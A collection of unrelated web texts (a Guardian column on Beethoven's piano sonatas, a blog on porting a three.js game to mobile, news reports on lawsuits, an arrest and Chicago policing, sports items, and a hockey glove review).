Barenboim has been performing these sonatas in a week when the culture secretary, Andy Burnham, has ordained that young people at school must get five hours of high-quality artistic and cultural activity a week. This is an admirable decision in principle, as long as it can be sustained in practice for all. But it will be sustainable only if we believe in it, and if it is not subverted by the insidious and widespread belief that Shakespeare or Beethoven or Cezanne are somehow too difficult or, even worse, not "relevant" enough for today.
The best art is not the only art, but it can be uniquely ennobling and it ought to be available to everyone. If that smacks of a belief in educational "improvement", I plead guilty as charged. I think musical taste and public values need improving. This would be a lot easier if the BBC was willing to put classical music or theatre on its main channels, as it once did. But those days are gone, sadly.
Better reverence than irreverence. Lenin once explained that he could not listen to the Appassionata sonata too often because, wonderful and immortal though it was, the sonata might make him falter in his task of smashing his enemies' heads without mercy. Doesn't that sum up why the world is so much better off with Beethoven than with bolshevism?
There are few things I know with any confidence. One is that, in these piano sonatas, Beethoven went further towards expressing the vast scope of the human spirit in sound than anyone before or since. The last movement of the final sonata takes that process as far as even he was able. Both it and the edifice of 32 sonatas on which it rests are Beethoven's imperishable achievement. And yet, in an immensely significant way, the achievement belongs to us all.
martin.kettle@theguardian.com |
This post is about supporting mobile. We will try to port marblesoccer on mobile. When doing a boilerplate for three.js, mobile had to be supported for compatibility. So it gave me the idea of this post. What about porting our game on mobile ? Porting a 3D web game to mobile ? crazy :)
The desktop version looks kindof ok. What would be the result of this experiment ? Is that even possible ? What about usable ? This is the purpose of this experiment to find out.
Mobile isn’t desktop
Indeed… desktop and mobile are quite different plateforms. Which differences are relevant to us ? First, mobile network is bad, especially latency. So avoid download of long files, such as texture or sound. Here is a good talk on Mobile Web Performance. Another thing, mobile got no keyboard, no mouse, but a touch screen We need to get a game controller for this environement. We use virtualjoystick.js. See details in our previous post.
One big thing is that currently, on mobile, WebGL hasnt reached mainstream to say the least. No major vendor is shipping phone with webgl, so nobody or close get webgl on phone. So for our little experiment, we will display in Canvas 2D with THREE.CanvasRenderer.
Porting to canvas 2D
So what need to be done ? First step is to use the proper renderer when suitable. Second is fixing material and geometry to fit canvas2D renderer capability. Last step is to look for room of optimisations. Ok now let’s intanciate the renderer. If webgl is available, use THREE.WebGLRenderer else use THREE.CanvasRenderer . Not too hard hey ? We already did that in the boilerplate for three.js
We simplify geometry to reduce the number of polygon. For marble geometry, the sphere got 512 faces on webgl, and only 9 on canvas2d. Drastic :) What about material ? For webgl, we used phong for fancy lightings, We used textures for realistic effects. But with canvas2D, those technics cant be used. They are way too slow.
This is enougth to get it working. It display something reasonable on the screen at least. We sacrifice a lot tho, no more texture not fancy lighting. And now the bad new, it results in 3fps on my ipad2 ios4… ouch.
More measures
How come performances are so bad ? So i did more measures. I disabled the display of map and marbles to see how they impact performance. If we display the map and the marbles, we got 3fps on my ipad2. If we display only marbles, no more maps, we got 23fps, much better. but still not great… Considere that we are only displaying marbles and they are real simple.
If we display no marble, and no map. we got only 30fps. So all the rest, all the non display part is already using a big part of time ? what are we doing ? not much… Still we run realistic 3D physics and ipad2 cpu isnt as fast as usual desktop ones.
Time to optimize
Ok it is slow but this is a first try. I admit the code isnt not too optimized. cpu / gpu performance are so good on desktop, i may have been sloppy here and there :) There are areas of optimisations. We need to draw less polygons.
First we need to reduce the geometry of the map. We can do that by clustering voxels: if 2 voxels got the same color and touch each other, display one large box, instead of 2 small boxes. We did it to optimize our physics. See details in microphysics post. Additionnaly we could use marblesoccer’s map editor to redesign a map with a simpler geometry.
Another low-hanging fruit is to remove faces which are never seen, like in minecraft example from three.js. We could try to 2D sprites instead of 3D spheres for marble. We wont use THREE.Sprite. It isnt supported THREE.CanvasRenderer. But dont worry, it is possible with the particle system. See how THREE.Particle is used in canvas_particles_sprites.html example.
Conclusion
And after all that, what can you expect ? Will that run at 60fps ? 30fps ? Not likely or it will require a lot of effort. So animations arent smooth, what about the look? Watch what you got on the screen… On the right, a canvas version. live here. On the left you can see a webgl version. live here. Lets face it… canvas version is ugly.
After a significant work, you get poor performance and crappy look. Not many players would accept that… currently canvas performance doesnt seems suitable to display 3D on mobile. It is a good way to monitor performances and see how they evolve with time. |
— The U.S. Department of Justice said Thursday a local mother's claim that her son is being held under the USA Patriot Act is incorrect.
Annette Lundeby told WRAL News on April 29 that her 16-year-old son, Ashton Lundeby, is being held at a juvenile facility in South Bend, Ind., on a criminal complaint that he made a bomb threat from his Oxford home on the night of Feb. 15.
She said she believed authorities applied the Patriot Act to strip her son of his due process rights. She said she has had little access to him since his March 5 arrest.
Responding after nationwide media attention following the story, the U.S. Attorney for the Northern District of Indiana said in a news release that the charge is based on federal law prohibiting bomb and death threats.
"This charge is unrelated to the Patriot Act," U.S. Attorney David Capp said.
Capp and the FBI initially declined to talk about the case, citing a gag order and law that prohibits disclosure of information in federal cases involving juveniles.
But in Thursday's release, he said, the arrest stems from a false bomb threat directed at Purdue University and similar threats to other schools.
"The FBI, the Purdue University Police Department and the Tippecanoe County Prosecutor's Office conducted an extensive investigation into this matter, resulting in that arrest," Capp said.
Annette Lundeby said Thursday afternoon she had assumed federal agents arrested her son under the Patriot Act based on jackets they wore that read "Terrorist Task Force" and because they have given her no information about the case.
She also said she has been trying for weeks to get information about the case and was "amazed" it took nationwide attention for the U.S. attorney to release it.
"They have had plenty of time to contact me, and they won't even return my calls, yet they contact the media?" Lundeby said.
In her initial WRAL News interview last month, she said told agents that someone hacked into her son's IP address and used his Internet phone account to make the alleged threats.
Investigators seized a computer, cell phone, gaming console and routers from her home, according to search warrants, but Lundeby said they found no bomb-making materials.
Not mentioning Ashton Lundeby by name, Capp also said the "juvenile" has been represented by counsel at each of his three court appearances and that his mother "has been apprised of each" and that he is being held in a facility that permits family visits.
Lundeby said Thursday she has not been made aware of any other court appearance other than his initial one in Raleigh, despite her "constant inquiries."
"I want to be there," she said.
Passed after the Sept. 11, 2001, terrorist attacks on the U.S., the Patriot Act allows federal agents to investigate suspected cases of terrorism swiftly to better protect the country.
In part, it gives the federal government more latitude to search telephone records, e-mails and other records. Critics of the statute have argued that it threatens the most basic of liberties. |
BitTorrent Inc, the parent company of the popular file-sharing applications uTorrent and BitTorrent, has won $2.3 million in damages from its German namesake Bittorrent Marketing GMBH. A federal court in California branded the German company a cybersquatter and ruled that it misled BitTorrent users for financial gain.
With 170 million active users BitTorrent Inc. owns one of the most recognizable brands on the Internet.
Needless to say there is plenty of interest in the BitTorrent brand, and in some cases this demand is being exploited by third-party companies. Some of these companies use the BitTorrent name to trick people into downloading their software or buying their services.
Two years ago BitTorrent filed a lawsuit against one of these alleged “scammers,” the German-based company Bittorrent Marketing GMBH.
The German namesake owns the German and European trademarks for BitTorrent and previously registered several related domain names such as Bit-Torent.com, Bit-Torrent.com and Bitorrent.net. Some of these domains have been used to point people to paid products.
“BitTorrent filed this action to put an end to Defendant’s use of BitTorrent’s trademarks to promote what Defendant touts as an ‘advertising affiliate program’ used to ‘post ads and earn commissions..,” the company explained to the court.
In addition, it accused the company of other cybersquatting activities including the interception of confidential email. As the German company failed to respond, BitTorrent Inc. asked the court for a default judgment, which was granted this week.
United States District Judge Beth Freeman ruled that Bittorrent Marketing GMBH is guilty of trademark infringement and awarded $2,230,000 in damages to BitTorrent Inc. In addition, the German company has to sign the 54 disputed domain names over to the California company.
The order
In her order the Judge notes that the use of the trademarks in the United States was “likely to cause confusion,” and considered to be infringing. The court acknowledges that Bittorrent Marketing GMBH offered download products, but concludes that it aimed to deceive BitTorrent users and ransom the domain names.
“Even when Defendant offered digital download products and services on the Infringing Domain Names, such offers were deceptive because paying customers would not actually receive the purchased services,” Judge Freeman writes.
“Such conduct evinces an intent to intentionally diminish the value of Plaintiff’s trademark through customer confusion and frustration and, in turn, force Plaintiff to eliminate such blemishes on its trademark by acquiring the Infringing Domain Names from Defendant,” Freeman adds.
The court order further mentions that the owner of Bittorrent Marketing GMBH repeatedly registered domain names “in an effort to extort money” from BitTorrent Inc.
The damages award is lower than the $100,000 per domain BitTorrent Inc. asked for as Judge Freeman tailored them to an amount she “considers just.” The Judge awarded $35,000 for 38 domain names that incorporate misspellings, $50,000 for 14 domains with the correct “bittorrent spelling” and $100,000 for two domains where it advertised download services.
In addition the German company is barred from using the BitTorrent trademark to advertise its services. The 54 domain names that were at the basis of the dispute will be signed over to BitTorrent Inc within two weeks.
Bittorrent Marketing GMBH’s owner Harald Hochmann has published several statements on Bittorrent.eu telling his side of the story. Talking to TorrentFreak, Hochmann denies many of the allegations.
“The key point is, and that is 100% true, that I have NEVER asked BitTorrent Inc. for millions as BitTorrent Inc’s former CFO and General Counsel Mitchell Edwards declared under oath,” he says.
In addition, Hochmann points out various other flaws and inaccuracies in the order. However, since the company initially failed to reply the company’s response in the U.S. case came too late. |
Although many people are using Ask Ziggy on Windows Phone these days, the search for a viable alternative to the iPhone’s Siri continues. While we’re unsure of what Microsoft has planned in this arena for Windows Phone 8, WP7 users certainly want options.
A new alternative is on the Marketplace now called simply enough ‘Assistant’. It’s made by Speak To It and while it normally costs $0.99 it’s going for free now for the first 10,000 downloads.
It uses the same Nuance voice engine as Ask Ziggy, so in that regards it’s not necessarily any better nor worse. But the UI design and layout are quite nice. You get a custom Avatar to interact with and a choice of 4 different voices (UK and US English). The app can learn your name and you can name it too (we called ours Siri of course). |
Story highlights A New Mexico man is pulled over on a traffic violation, taken in on alleged drug possession
Police got a warrant for an "anal cavity" search; lawsuit claims it was too general and broad
He had "digital penetrations, ... 3 enemas" and a colonoscopy; no drugs were found, no charges
A New Mexico man is suing police for allegedly "subjecting him to multiple digital penetrations and three enemas," among other "shockingly invasive medical procedures" -- all on an invalid warrant, all without finding any drugs -- his lawyers claim.
The lawsuit states that David Eckert, 54, spent more than 12 hours in custody last January at a police station and local hospital after being pulled over for a traffic violation. Yet he was never charged, nor did authorities find illicit substances on him.
"Defendants acted completely outside the bounds of human decency by orchestrating wholly superfluous physical body cavity searches performed by an unethical medical professional," states the lawsuit, which was filed earlier this year but has garnered more public attention in recent days.
Police in Deming, New Mexico, did not return multiple messages left by CNN on Wednesday seeking their side of the story. The city attorney's office also did not offer an immediate comment after being contacted Wednesday.
According to a police affidavit accompanying the lawsuit, a detective asked a different officer to pull over Eckert's 1998 brown Dodge pickup truck for not properly stopping at a stop sign.
JUST WATCHED Outrage over highway body cavity search Replay More Videos ... MUST WATCH Outrage over highway body cavity search 02:06
After Eckert was pulled over, a Deming police officer said that he saw Eckert "was avoiding eye contact with me," his "left hand began to shake," and he stood "erect (with) his legs together," the affidavit stated.
Eckert was told he could go home after a third officer issued him a traffic citation. But before he did, Eckert voluntarily consented to a search of him and his vehicle, the affidavit states. A K-9 dog subsequently hit on a spot in the Dodge's driver's seat, though no drugs were found.
"Hildalgo County K-9 officer did inform me that he had dealt with Mr. Eckert on a previous case and stated that Mr. Eckert was known to insert drugs into his anal cavity and had been caught in Hidalgo County with drugs in his anal cavity," the affidavit said.
While CNN could not immediately corroborate that claim, a search of Eckert's criminal history found he's been arrested several times on drug possession charges, though many of those charges were dismissed.
Eckert was then put in "investigative detention" and transported around 2 p.m. to the Deming Police Department.
Sometime after that, a judge signed off a search warrant "to include but not limited to his anal cavity."
The next stop was Gila Regional Medical Center, where the lawsuit states "no drugs were found" in "an x-ray and two digital searches of his rectum by two different doctors." One doctor at this time found nothing unusual in his stool.
Three enemas were conducted on Eckert after 10:20 p.m. A chest X-ray followed, succeeded by a colonoscopy around 1:25 a.m.
After all this, "no drugs were found in or on Plaintiff's person," according to the lawsuit.
Because he "merely looked nervous during a traffic stop," the lawsuit claims that authorities ended up violating Eckert's constitutional right against unreasonable searches and seizures on a number of grounds.
One was that "the language in the warrant was overly broad and, therefore, invalid," said the plaintiff, asserting that the chest X-ray and colonoscopy, for instance, weren't related or confined to the "anal cavity."
Moreover, many of the tests took place outside the 6 a.m. to 10 p.m. timeframe for which any such search warrant (unless otherwise authorized) is legally valid under New Mexico law, according to the lawsuit.
"While the war on drugs has resulted in aggressive government tactics," the suit added, "the Supreme Court has never authorized the seizing of an alleged drug user for forced medical procedures to purge their bodies of drugs." |
Frank Beamer has seen almost everything over his 25 years as Virginia Tech’s head coach, but on Monday he encountered a situation foreign to him.
A female kicker, Lauren Luttrell, tried out for Virginia Tech’s football team and performed so well that Beamer decided to invite the freshman back to kick in spring practice.
“Right now it’s kind of tough to come out there and get a lot of attention. Things are happening so fast right now,” Beamer said. “But I was impressed with her and we’ll bring her back out there in the spring.”
Luttrell kicked at Spotsylvania High last year. She is a converted soccer and volleyball player who only began kicking field goals during the spring before the 2010 football season.
For more on her, check out this Fredericksburg Free Lance-Star profile from last year. |
[feature_headline type=”center” level=”h3″ looks_like=”h3″ icon=”video-camera”]VIDEO
[feature_headline type=”center” level=”h3″ looks_like=”h3″ icon=”pencil-square”]NOTES
Rain put a damper on East Carolina’s Pro Day, where the Pirates’ prospects and scouts from all 32 NFL teams had to wait out late morning showers before they could go through drills outdoors.
WR Justin Hardy, who ran a 4.56 40-yard dash at last month’s combine, said he was told he put down a 4.4 on Thursday. Even if that time is correct, it came on an indoor track, so scouts will likely tack on at least an extra tenth of a second.
Hardy, a Vanceboro, N.C. native who broke the FBS record for most career receptions, has a handful of private workouts lined up. The Panthers are one of the teams who have contacted Hardy to get a closer look.
Hardy impressed in pass catching drills, making a number of leaping grabs. He had a familiar quarterback: Shane Carden, who was ECU’s starter the last three seasons.
Carden started his pre-draft process training with former Panthers quarterback Chris Weinke at IMG Academy in Florida. But after Weinke took a job with the Rams last month, Carden switched to another IMG coach, and another former Panthers quarterback, Vinny Testaverde.
[feature_headline type=”center” level=”h3″ looks_like=”h3″ icon=”quote-right”]QUOTES
Hardy on criticism that he’s just a system receiver:
“Everybody is entitled to their own opinion. I know what I can do, and people know what I can do. Numbers don’t lie, so I’ll leave it at that.”
Hardy on Thursday’s wet conditions:
“This day is to showcase what you can do at your best ability. With the rain here, you’re not really going to get a chance to do that.”
Testaverde on Carden:
“I know he’ll go out and show his accuracy, his power, his arm strength, and his overall ability to throw the football like an NFL quarterback does, and look like one. Not the quarterback that was playing here with the awkward-looking delivery, if you will.”
Testaverde on how much draft training has changed since he was drafted in 1987:
“When I ran my 40, two days before I had our strength coach show me how to do a 40 start. So I worked on it for a day. Went to the combine, ran the 40, so we didn’t have all that specific training.”
Testaverde on what he ran that 40-yard dash in:
“I think a 4.72 or something. Not too bad. Maybe I would have run a 4.71 if I would’ve learned how to do it earlier (laughs).” |
A string of rare cancer deaths in Hoosick Falls has residents concerned about their water supply. At a meeting on Tuesday, February 9, village mayor David Borge tried to reassure villagers that there is a plan in place to correct the problem, but anxious residents said it could be a while before their trust in government is restored. Click through the slideshow to view a timeline of the pollution's discovery and how the story has developed. less A string of rare cancer deaths in Hoosick Falls has residents concerned about their water supply. At a meeting on Tuesday, February 9, village mayor David Borge tried to reassure villagers that there is a plan ... more Image 1 of / 58 Caption Close Class-action lawsuit filed over Hoosick Falls water pollution 1 / 58 Back to Gallery
Albany
A New York City law firm filed a federal class-action lawsuit Wednesday against two companies that have operated a Hoosick Falls manufacturing plant that's being blamed for contaminating the village's public water supply with a toxic chemical.
Jeff Boyer / Times Union The DEC released a map in January...
The lawsuit against Saint-Gobain Performance Plastics and Honeywell International was filed on behalf of four residents of Hoosick Falls who claim they were exposed to perfluorooctanoic acid, or PFOA, and that the value of their properties has been diminished by the pollution. The lawsuit does not make a claim for any bodily injuries, although the state Health Department is examining concerns by village residents that their community has been afflicted with a high rate of cancer and other illnesses. PFOA exposure has been linked to increased health effects, including testicular and kidney cancer and thyroid disease.
The complaint filed in U.S. District Court in Albany also does not say whether any of the plaintiffs — Michele Baker; Angela Corbett; Michelle O'Leary and Daniel Shuttig — are afflicted with any health problems from drinking contaminated water. The claim states that Baker tried to refinance the mortgage on her Mahar Road home in January but was turned down by a local bank because of the water pollution.
Corbett, the lawsuit states, has a private well but is concerned she will not be able to sell her home. O'Leary, who moved to Hoosick Falls last September, has two children and fears for their health, the claim states. Her home gets water from the village's public supply, which draws water from underground wells near the Saint-Gobain plant.
O'Leary helped organize a grassroots organization that has been delivering bottled water to elderly and other residents who cannot get it on their own from a local supermarket. Schuttig also owns a home that gets water from the village's treatment plant and is concerned about his property value, the complaint states.
The lawsuit was filed by attorneys for Weitz & Luxenberg, a firm that specializes in class-action and personal injury litigation. It seeks class-action status for any residents or property owners damaged as a result of the pollution, including those with private wells. The filing lists claims for negligence, private nuisance, trespassing and liability for abnormally dangerous activity. Even if the firm is successful in establishing the class-action status, it would not prohibit others in the village from filing claims for any health-related illnesses.
The law firm began aggressively pursuing the case two months ago, around the time a Times Union story revealed state Health Department and village officials were still telling residents the water was safe to drink despite contrary warnings from the U.S. Environmental Protection Agency. The village subsequently shifted its position, warning residents to stop consuming the water.
"While Saint-Gobain has acted quickly and openly since learning of the presence of PFOA in the drinking water supply in the village of Hoosick Falls, we respect the right of individuals to pursue their claims in a court of law," said Dina Silver Pokedoff, a company spokeswoman. "Saint-Gobain has, and will continue to work with the local, state and federal agencies to investigate the source of the PFOA in the drinking water."
Honeywell officials recently met with state agencies to discuss the situation.
"Honeywell is doing a review to understand the historic operations by our predecessor, AlliedSignal Laminated Systems Inc., which operated in Hoosick Falls between 1986 and 1996," said Victoria Ann Streitfeld, Honeywell's spokeswoman. "After selling the business in 1996, AlliedSignal Laminated Systems conducted several site investigations and received 'No Further Action' letters from the New York state Department of Environmental Conservation. Regulations did not require testing for PFOA at the time."
Streitfeld said Honeywell has offered to help with the ongoing testing of private wells in the village of Hoosick Falls and town of Hoosick.
On Jan. 30, Weitz & Luxenberg organized a public meeting at Bennington College in Vermont, just across the border from Hoosick Falls, that was attended by dozens of people. The event was bolstered by the firm's high-profile consultant, environmental advocate Erin Brockovich, who is widely known for her efforts in an environmental pollution case against Pacific Gas & Electric in California.
PFOA, a man-made chemical, was discovered in Hoosick Falls' water system by a village resident, Michael Hickey, who began researching the issue two years ago. Hickey said his interest was piqued by what he believed was a high rate of cancer in the village. His father, John, who worked at the Saint-Gobain plant for decades, died of kidney cancer in 2013. Hickey used his own money to have samples of village water tested for PFOA and he notified village officials in 2014 that the tests showed the levels of the chemical found in the system exceeded federal health advisories. PFOA has been used since the 1940s to make products such as nonstick coatings and heat-resistant wiring.
Last month, the state Department of Environmental Conservation called on Saint-Gobain Performance Plastics and Honeywell International to enter consent orders that would require them to clean up the remnants of the toxic chemical that polluted water supplies in and around the village of Hoosick Falls.
The DEC said in a statement that its preliminary investigation, begun last month, determined the two corporations, and possibly others, are the "parties responsible" for the presence of high levels of PFOA that were discovered two years ago in the village's public water supply. The chemical has since been found in private wells in and around the village, as well as in the groundwater under Saint-Gobain's McCaffrey Street plant a few hundred yards from the village's water treatment plant.
Saint-Gobain has owned the McCaffrey Street plant since 1999. Honeywell's predecessor corporation, Allied Signal, operated the facility from 1986 to 1996, one of five companies that owned and operated the site since 1956.
The lawsuit provides a detailed outline of the history of the McCaffrey Street site, including practices that included washing PFOA-contaminated residue into floor drains during the manufacturing processes. "Those floor drains resulted in the discharge of PFOA into the soil and, in turn, into the aquifer," the lawsuit states.
Although the federal complaint said Saint-Gobain halted the use of PFOA at the plant in 2004, the company has said it did not eliminate its use of PFOA at the facility until 2014. A company spokeswoman previously told that Times Union that, for the production of films and tapes, it used "lower, steadily decreasing levels of PFOA" from 2006 to 2014.
In addition to punitive damages, the federal lawsuit seeks "consequential damages" that would pay for a medical monitoring program in which people exposed to PFOA would be regularly tested for any adverse health effects.
A spokeswoman for Saint-Gobain last month said the company was "potentially" responsible for the pollution and that there has been no official determination about the cause of the contamination, which state officials acknowledged may have come from multiple manufacturing facilities in and around the village.
Saint-Gobain, which said it learned of the pollution in December 2014, has voluntarily funded the distribution of bottled water and said it will pay for the installation of a temporary water filtration system as well as a long-term water filtration system expected to be in place by October.
DEC said the agency will use its Superfund authority to make sure the contamination is cleaned up.
The DEC released a map last month identifying 11 current and former manufacturing sites in Hoosick Falls where it said PFOA chemicals may have been used in processing. The sites are John Street, McCaffrey Street, Carey Avenue, Church Street, three locations on River Road, Liberty Street, First Street and two locations on Mechanic Street.
blyons@timesunion.com • 518-454-5547 • @brendan_lyonstu |
Oklahoma is going to be without running back Samaje Perine for a while.
Bob Stoops announced Monday that Perine will miss at least two weeks, possibly three, as he deals with a hamstring injury. Perine suffered the injury early in Oklahoma's 38-17 win against Kansas State. He had rushed for 23 yards on three carries during Oklahoma's opening drive, and then capped the possession off with a 25-yard touchdown catch to give Oklahoma an early lead. It was on that touchdown, however, that Perine tweaked his hamstring as he never returned to the game.
Bob Stoops did say after the game that Perine could have played if he'd been forced to, but things have obviously changed since then.
Oklahoma goes on the road to play Texas Tech this week, and follows that up games against Kansas and Iowa State. Should the Sooners get past the Red Raiders, they can probably afford to give Perine as much time as he needs to heal, as I don't think he'd be a necessity against the Jayhawks and Cyclones.
It'd be better for the Sooners to have him at 100 percent for the stretch run against Baylor, West Virginia and Oklahoma State.
Through six games, Perine has rushed for 475 yards and six touchdowns. |
Presidential candidate Donald Trump said Chicago's crime problem could be solved by police "being very much tougher" than they are now, adding that during a Chicago visit he met with "very top police" and was told the problem could be stopped in a week with tough tactics.
In an interview Monday night on the Fox News show "The O'Reilly Factor," Trump reiterated his past comments about Chicago violence being "out of control" and added that the Chicago police force does not have "the right people in charge."
Fox host Bill O'Reilly asked Trump how to solve the city's crime problem, with homicides up nearly 50 percent.
"How? By being very much tougher than they are right now. They're right now not tough. I could tell you this very long and quite boring story. But when I was in Chicago, I got to meet a couple of very top police. I said, 'How do you stop this? How do you stop this? If you were put in charge — to a specific person — do you think you could stop it?' He said, 'Mr. Trump, I'd be able to stop it in one week.' And I believed him 100 percent," Trump said.
When O'Reilly asked whether the unnamed officer told him how, Trump said: "No, he wants to use tough police tactics, which is OK when you have people being killed."
But Chicago police said Tuesday that Trump has not met with top brass.
"No one in the senior command at CPD has ever met with Donald Trump or a member of his campaign," Chicago police spokesman Anthony Guglielmi said.
Guglielmi clarified later that since at least March, when a Trump rally at the University of Illinois at Chicago was planned and ultimately canceled, none of the department's deputy superintendents, commanders of the city's 22 districts, chiefs of patrol or chiefs of detectives has met with Trump.
It's not the first time Trump has gotten into a disagreement with Chicago police about their consultation. Trump had cited security reasons for canceling the March 11 event, and his campaign workers said at the time that a Chicago police commander had talked with them prior to it being canceled. But Chicago police issued a statement then denying they had been consulted.
As for Trump's suggestion that Chicago police could be tougher, Guglielmi responded that the department believes community policing and stricter gun laws are key.
"The best way to address crime is through a commitment to community policing and a commitment to stronger laws to keep illegal guns and repeat violent offenders off the street," he said in an email.
Trump's camp said Tuesday that Trump did not specifically say the officer he spoke with was in senior command.
"He didn't say in the senior command. Those are your words," Trump spokeswoman Hope Hicks said in an email. "Mr. Trump spoke with some talented and dedicated police officers on a prior visit."
When asked what Trump meant by saying he met with "very top police" in Chicago, Hicks responded: "Capable, smart and talented."
Trump and his campaign have repeatedly sought to explain the Republican presidential candidate's rhetoric as misunderstood or mischaracterized after he has been criticized for his comments. From calling President Barack Obama the "founder of ISIS" to saying Russia wouldn't enter the Ukraine — after it already had — Trump has complained that the media intentionally misunderstands his sarcasm, or he simply denies that he has misspoken.
Trump's suggestion that crime in Chicago could be fought with tougher tactics comes on the heels of months of national turmoil and protests over use of force by police throughout the country, including Chicago. Officer Jason Van Dyke was charged with murder in November in the fatal shooting of 17-year-old Laquan McDonald, and just last week the Police Department announced plans to seek the firing of seven officers for allegedly lying about the shooting. The release of a video of that shooting set off major protests in the city, prompted the firing of the department's top cop and the U.S. Justice Department's launch of a civil rights investigation of Chicago police. That federal probe is ongoing.
Chicago police have struggled for years with tamping violence and improving interaction with the public, employing special units to focus on high-crime areas and gangs or sending more cops to beat patrols when violence spikes. The department has created several versions of special units to target gang and drug crews, but then disbanded them after allegations of abuse or corruption surfaced.
The spike in violence in Chicago this year has been particularly vexing. Homicides in Chicago are up 49 percent, according to Chicago Police Department figures, with 441 homicides as of Monday. In comparison, Chicago recorded 473 homicides for all of 2015. So far this year, at least 2,702 people have been shot in Chicago, according to data kept by the Tribune. All of last year, there were 2,988 shooting victims.
Experts who have studied crime for years, however, say a complex mix of factors may be at fault, including the city's undeterred gang problem and the proliferation of guns, as well as a long history of poverty, joblessness, segregation and neglect in crime-ridden neighborhoods.
The department also was forced this year to revamp how it interacts with citizens in street stops after the American Civil Liberties Union of Illinois raised red flags over whether officers were violating citizens' civil rights.
Officers have complained that the increased scrutiny has led many to feel unsure about stopping anyone. A review of stops and arrests in Chicago earlier this year showed both were down dramatically.
Mayor Rahm Emanuel has talked about unfair treatment of residents by police, saying in a speech before the City Council in December that police credibility was at issue in some communities, and that he believed the "code of silence" by police was a problem.
"When African-American mothers, fathers and grandparents feel it is necessary to train their sons and daughters to behave with extreme caution when they are pulled over by police and have both hands visible on the wheel, what does that say?" Emanuel said to aldermen. "We have a trust problem."
O'Reilly talked about the need for following legal procedure in dealing with suspected criminals, telling Trump: "You have to have a warrant to arrest people. You can't beat them up. You have to have a warrant to arrest them."
Trump responded: "All I know is this. I went to a top police officer in Chicago, who is not the police chief, and I could see by the way he was dealing with his people, he was a rough, tough guy. They respected him greatly. ... He said, 'Mr. Trump, within one week, we could stop much of this horror show that's going on.'" |
This will be an overview of the difference between the Warrior Alpha QX and the Warrior Alpha QX Pro gloves. They are both pro level gloves but are made with different materials. For more information on the entire Warrior Alpha QX glove line please see the link below. This article will look at all the finer details including showing where different materials are used on both of the gloves.
Please note that the two gloves that are being compared here are different sizes, the red QX glove is 15 inches while the Montreal Canadiens looking QX Pro glove is 14 inches. Thank you again for Warrior for selecting me to be a Warrior VIP and sending me these gloves to review and take a look at.
https://warriorhockey.com/2017/03/22/alpha-qx-gloves-full-line-details/
The biggest difference between the 2 gloves are the palms (seen below) and the middle finger. On the Warrior Alpha QX the middle finger is segmented into 3 pieces while the QX Pro has 2 segments.
The main cuff of the glove is made in a similar fashion, embroidered Warrior letters with an second layer of embroidery as an outline. The cuff material itself is made of Dynasty Mesh. The Hybrid Flex Cuff is constructed the same on both gloves but the QX glove features Dynasty Mesh while the QX Pro features a more traditional feeling Tufftek 2.0 material.
The backhand rolls of the glove are pretty different in terms of design and materials used. The QX Pro has “Phantom” labelling signalling that the glove features Warrior’s Phantom foam technology. The QX Pro also takes advantage of this foam type but loses the labelling for a more NHL looking design. The angled lines on the QX gloves are made of a plastic like 3D layer on top of the Dynasty Mesh roll, the roll itself is accented with Warrior’s 3D PU material at the bottom of the top 3 breaks. The same angled lines are screen printed graphics on the QX Pro while the rolls themselves are made from the Tufftek 2.0 material found on the upper cuff. The QX Pro uses Covert Mesh at the bottom of the backhand breaks.
On the inner index finger the Alpha QX glove features a unique window like “Alpha” logo that is unique to the top end Alpha gloves, the surrounding material is Warrior’s leather like 3D PU. The Alpha QX Pro gloves features a more understated “Alpha” text in a 3D plastic like material (similar to the Alpha QX band hand lines) on top of Tufftek 2.0.
Both the Warrior Alpha QX and QX Pro gloves feature Warrior’s Axyflex Thumb. The Axyflex thumb is a 2 piece flex thumb which helps your thumb bend while locking it in place in the reverse direction to help protect against hyperextension. The QX glove uses mostly Dynasty Mesh with 3D PU accents. The QX Pro glove uses Tufftek 2.0 with Classic PU material for accents, this material feels similar to the material that goalie pads are made of.
The outside of the pinkie shows the gloves level on both models. The QX features Tufftek 2.0 while the cuff areas are made of Dynasty Mesh. The QX Pro features Tufftek 2.0 on this side of the glove.
The palms are the biggest difference between the Warrior Alpha QX and QX Pro gloves. The QX glove features a gray Digital material on the fingers and along the palm (under the outer overlay which touches your hand), with a black Clarino overlay with an embossed grip pattern. The QX palm is labelled “ProPalm+” and the black Clarino is the same material that can be found on the Warrior Covert QRL and QRL Pro gloves.
The QX Pro glove features an ivory Clarino base with an ivory Clarino overlay and is labelled “ProPalm.” This style of palm is more popular among pro players.
Both palms feel very soft and broken in off the shelf #ButterSoftFeel. I haven’t been able to tell a difference between the two yet with my limited usage of them. Teammates have said the QX ProPalm+ is a bit softer and more comfortable but I honestly can’t tell much of a difference. I also haven’t noticed if the hexagonal grip pattern makes a difference in terms of grip.
The Alpha QX finger gussets are made of a stretch nylon that gives the fingers a bit more depth to them. The QX Pro gloves feature a no stretch nylon material keeping the gloves tighter fitting in terms of finger depth. In my past experiences the stretch nylon helps with airflow compared to the no stretch material which is on my Warrior Covert QRL Pro gloves.
The inner liners of both the Alpha QX and QX Pro gloves feature Warrior’s famous yellow liner that has been treated with Polygiene. I am going to take a direct quote from Warrior’s to describe what this liner does. This liner is extremely soft and smooth feeling on the backhand.
“WarTech FNC liner for a fresh and clean glove life. Polygiene bath-treated foams, palms and inner liners wick away moisture from the hand and impede bacterial growth – which causes gloves to stink.”
Which Glove Should You Buy
Both the Warrior Alpha QX and Alpha QX Pro gloves are high end gloves that shouldn’t disappoint. Performance from both gloves is fairly similar and a few things should be thought of when making your decision.
Preferred Palm Type Preferred Gusset Type Preferred Colourway
Since the QX Pro offers 2 colourways not available on the QX model (Montreal and Leafs seen below) than the QX Pro is the glove to get. Personally I’d be happy with both lines (and currently am very happy using them).
#WarriorVIP #WarriorAlpha #AlphaQX #ButterSoftFeel
While I also hate to promote my other things, it has become evident to me it is important to get a viewer base that will help me continue doing reviews like this (I can’t afford to always buy new equipment!).
So please check out my twitter @mattsave1 and follow me there (I post a lot of contests so I make it easier to win free stuff!) as well as my Instagram @hockeyreviewsca and subscribe to me on YouTube
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Hello!
I'm pretty sure you're casting your mind back through the Fashionicide Archives just as I was, trying to recall the last time I devoted an entire blog post to nails. Put simply, it's been a long time, and I needed to rectify the situation post-haste!
There was a time, maybe a couple of years ago, maybe less, where I'd paint my nails new colours every other night. I'd go through the full routine of removing the previous colours fully, picking out a whole new set of colours, applying to the nails, covering with topcoat and waiting for them to dry. Oh how I wish I had the time to do all of that again.
